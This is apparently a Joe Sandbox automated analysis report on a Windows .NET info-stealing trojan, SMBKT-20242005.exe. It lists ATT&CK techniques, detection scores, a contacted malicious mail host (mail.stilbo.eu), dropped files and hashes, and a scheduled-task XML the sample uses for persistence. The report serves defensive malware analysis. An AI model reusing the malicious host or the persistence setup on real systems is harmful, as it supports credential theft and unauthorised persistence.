Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SMBKT-20242005.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal
SMBKT-20242005.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\joUXSCpr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\joUXSCpr.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.GenSteal

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://r3.i.lencr.org/0	0%	URL Reputation	safe
https://t3.ftcdn.net/jpg/02/48/42/64/360_F_248426448_NVKLywWqArG2ADUxDq6QprtIzsF82dMF.jpgG	0%	Avira URL Cloud	safe
http://mail.stilbo.eu	0%	Avira URL Cloud	safe
http://crl.mS	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.stilbo.eu	212.44.102.65	true	true		unknown
api.ipify.org	104.26.13.205	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	SMBKT-20242005.exe, 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.mS	RegSvcs.exe, 00000008.00000002.1477888050.0000000006510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.stilbo.eu	RegSvcs.exe, 00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t3.ftcdn.net/jpg/02/48/42/64/360_F_248426448_NVKLywWqArG2ADUxDq6QprtIzsF82dMF.jpgG	SMBKT-20242005.exe, joUXSCpr.exe.1.dr	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SMBKT-20242005.exe, 00000001.00000002.1461356615.0000000002DF6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.1473242520.0000000003311000.00000004.00000800.00020000.00000000.sdmp, joUXSCpr.exe, 00000009.00000002.1492085386.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.000000000308C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	SMBKT-20242005.exe, joUXSCpr.exe.1.dr	false	URL Reputation: safe	unknown
http://r3.i.lencr.org/0	RegSvcs.exe, 0000000F.00000002.2661521200.000000000128A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2660788327.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
212.44.102.65	mail.stilbo.eu	Slovenia		43128	DHH-ASSI	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1444949
Start date and time:	2024-05-21 13:44:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SMBKT-20242005.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/11@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 313 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SMBKT-20242005.exe

Simulations

Behavior and APIs

Time	Type	Description
07:45:28	API Interceptor	1x Sleep call for process: SMBKT-20242005.exe modified
07:45:29	API Interceptor	13x Sleep call for process: powershell.exe modified
07:45:31	API Interceptor	1x Sleep call for process: joUXSCpr.exe modified
07:45:31	API Interceptor	40x Sleep call for process: RegSvcs.exe modified
12:45:30	Task Scheduler	Run new task: joUXSCpr path: C:\Users\user\AppData\Roaming\joUXSCpr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	IMG1024785000.exe	Get hash	malicious	Nanocore, AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.15208.17708.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	59c4c7e95c9549234661cc0c3a33de39958df413f3a408f3385e69fd669228fb_payload.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Invoice KIK-1 P234478.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Aluminium_Oxide00980000.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	RFQ11045.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	hesaphareketi-01.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	hesaphareketi-01-5202024.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	garanti odeme200524.scr.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	4289397_SEA SHIPMENT.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win32.PWSX-gen.6793.10953.exe	Get hash	malicious	FormBook	Browse	104.21.81.34
	https://dukeenergyltd.top/bles.scr	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://dukeenergyltd.top/bles.scr	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://paperpile.com/app/p/972481aa-2f27-046e-8d74-eeebacfe6b15	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://cleanuri.com/YyQLEn	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://johnleewis.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://aizhantagaeva.github.io/netflix	Get hash	malicious	Unknown	Browse	172.64.155.119
	https://ipfs.io/ipfs/bafkreiaifz4xo7tqmc7x3hbuqb4wsvlnyylklzgwnldgkszguv3ly2jdoy#YOUREMAIL	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://cf-ipfs.com/ipfs/Qmb8ZxH6YcdjvixfVo3yE3hHm5CNzVAQFSfFDavjywVtYk/gttrindeed.html	Get hash	malicious	Unknown	Browse	104.17.64.14
	http://cf-ipfs.com/ipfs/QmPkxJED3Fb2sHpjZ1QyjFuAuuktBdWCsvty9NVB5gE4bD/mail_delivery_pil1904.html	Get hash	malicious	Unknown	Browse	104.17.25.14
DHH-ASSI	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x607DB0i08.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	x7RlIzQDk1.exe	Get hash	malicious	Unknown	Browse	212.44.102.75
	EwK95WVtzI.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	OWd39WUX3D.exe	Get hash	malicious	Pushdo	Browse	212.44.102.75
	demand_rpkb_060923.exe	Get hash	malicious	GuLoader	Browse	212.44.101.105
	CX17SY6xF6.exe	Get hash	malicious	Pushdo	Browse	212.44.102.57
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse	212.44.102.57
	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	212.44.102.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	IMG1024785000.exe	Get hash	malicious	Nanocore, AgentTesla, PureLog Stealer	Browse	104.26.13.205
	http://shaifansar1.github.io/Netflix-Landing-Page	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://rishavcoder.github.io/clone-discord	Get hash	malicious	Unknown	Browse	104.26.13.205
	http://attyahoonewworker-white-art-e0ce.danelle268.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://url2.mailanyone.net/scanner?m=1s6pTH-0000Fr-6D&d=4%7Cmail%2F90%2F1715682600%2F1s6pTH-0000Fr-6D%7Cin2f%7C57e1b682%7C28613012%7C14303582%7C66433DF3D46FD0B9149B37AF26642EB9&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105dab%2Fc%2FQn7UrkNU_s_0P8LqAhGaAAIAeQtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2ap52eopnFrbnmoleduudmsle2co%25t.2w522%252%25Fpi2C%25eedr2Rnpct%25iosOtB3222%257%25%25AA225u%253n%25222ll%25%2521%25Cl322%25nul%25Ai77De%26dg%25DwQst2aF%25%3Db6fBkf2LXU3hwBIL4xHiGTWDIqObb0zE5ov3Ct%25VGteD%26ereVsc5ors7%3Da8indb59bd247b4ba3633fb4ee51eb8d&s=9OHmoQ0JkwbsHuMKJ_DcFrbob0A	Get hash	malicious	Unknown	Browse	104.26.13.205
	SecuriteInfo.com.Win32.PWSX-gen.15208.17708.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	1716263286d2712d90132eba451811b2abad23213fcee88b437d472a205286a56bdc7957f4476.dat-decoded.exe	Get hash	malicious	GuLoader, XWorm	Browse	104.26.13.205
	59c4c7e95c9549234661cc0c3a33de39958df413f3a408f3385e69fd669228fb_payload.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Invoice KIK-1 P234478.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Aluminium_Oxide00980000.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

Process:	C:\Users\user\Desktop\SMBKT-20242005.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\joUXSCpr.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\joUXSCpr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//YPUyus:fLHxvIIwLgZ2KRHWLOugQs
MD5:	254E3634833B07F95061588B960F3D96
SHA1:	10F786DD15EBD4FD93687219D109B0E2F8499010
SHA-256:	A3C6A2952F11C3EEDF8D48AEC01FD3B12723526899714272D02FB20A6A3C76E0
SHA-512:	78B9B4BE082863EAB414C444CB5A2CCCA0C81A0176D743D578EADE9A7321AD65A3083FE3416C3428BC7B757E76427D543AB18617B19811CCC17C78ACDC126B1E
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fv52zpf.um0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5qd5z15m.5aw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iflrwkg2.lpi.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlqfrvgb.rm2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp1263.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\joUXSCpr.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	5.086590633524768
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTew7v:HeLwYrFdOFzOz6dKrsuqI
MD5:	3218A76B9A06204A3AF2D447B8C2AA3D
SHA1:	256B34D68DD884BEED8C089D72F3A1F9984DF78E
SHA-256:	5D536F1A22FDD7C4E9F5AEDCBA1BB02AE0B02ED617758670B312A37FA03C3C1B
SHA-512:	619E60F3DA5BB90EFDAC21609FF0CB49B19418CC11791B990F48D3393B4C18C17325AF5DE411116A761BE323F160BBE85D2D5B3D848478CEE4CDCE8A524E1364
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Local\Temp\tmp6AB.tmp

Download File

Process:	C:\Users\user\Desktop\SMBKT-20242005.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	5.086590633524768
Encrypted:	false
SSDEEP:	48:cge2oHr8YrFdOFzOzN33ODOiDdKrsuTew7v:HeLwYrFdOFzOz6dKrsuqI
MD5:	3218A76B9A06204A3AF2D447B8C2AA3D
SHA1:	256B34D68DD884BEED8C089D72F3A1F9984DF78E
SHA-256:	5D536F1A22FDD7C4E9F5AEDCBA1BB02AE0B02ED617758670B312A37FA03C3C1B
SHA-512:	619E60F3DA5BB90EFDAC21609FF0CB49B19418CC11791B990F48D3393B4C18C17325AF5DE411116A761BE323F160BBE85D2D5B3D848478CEE4CDCE8A524E1364
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>f

C:\Users\user\AppData\Roaming\joUXSCpr.exe

Download File

Process:	C:\Users\user\Desktop\SMBKT-20242005.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	751112
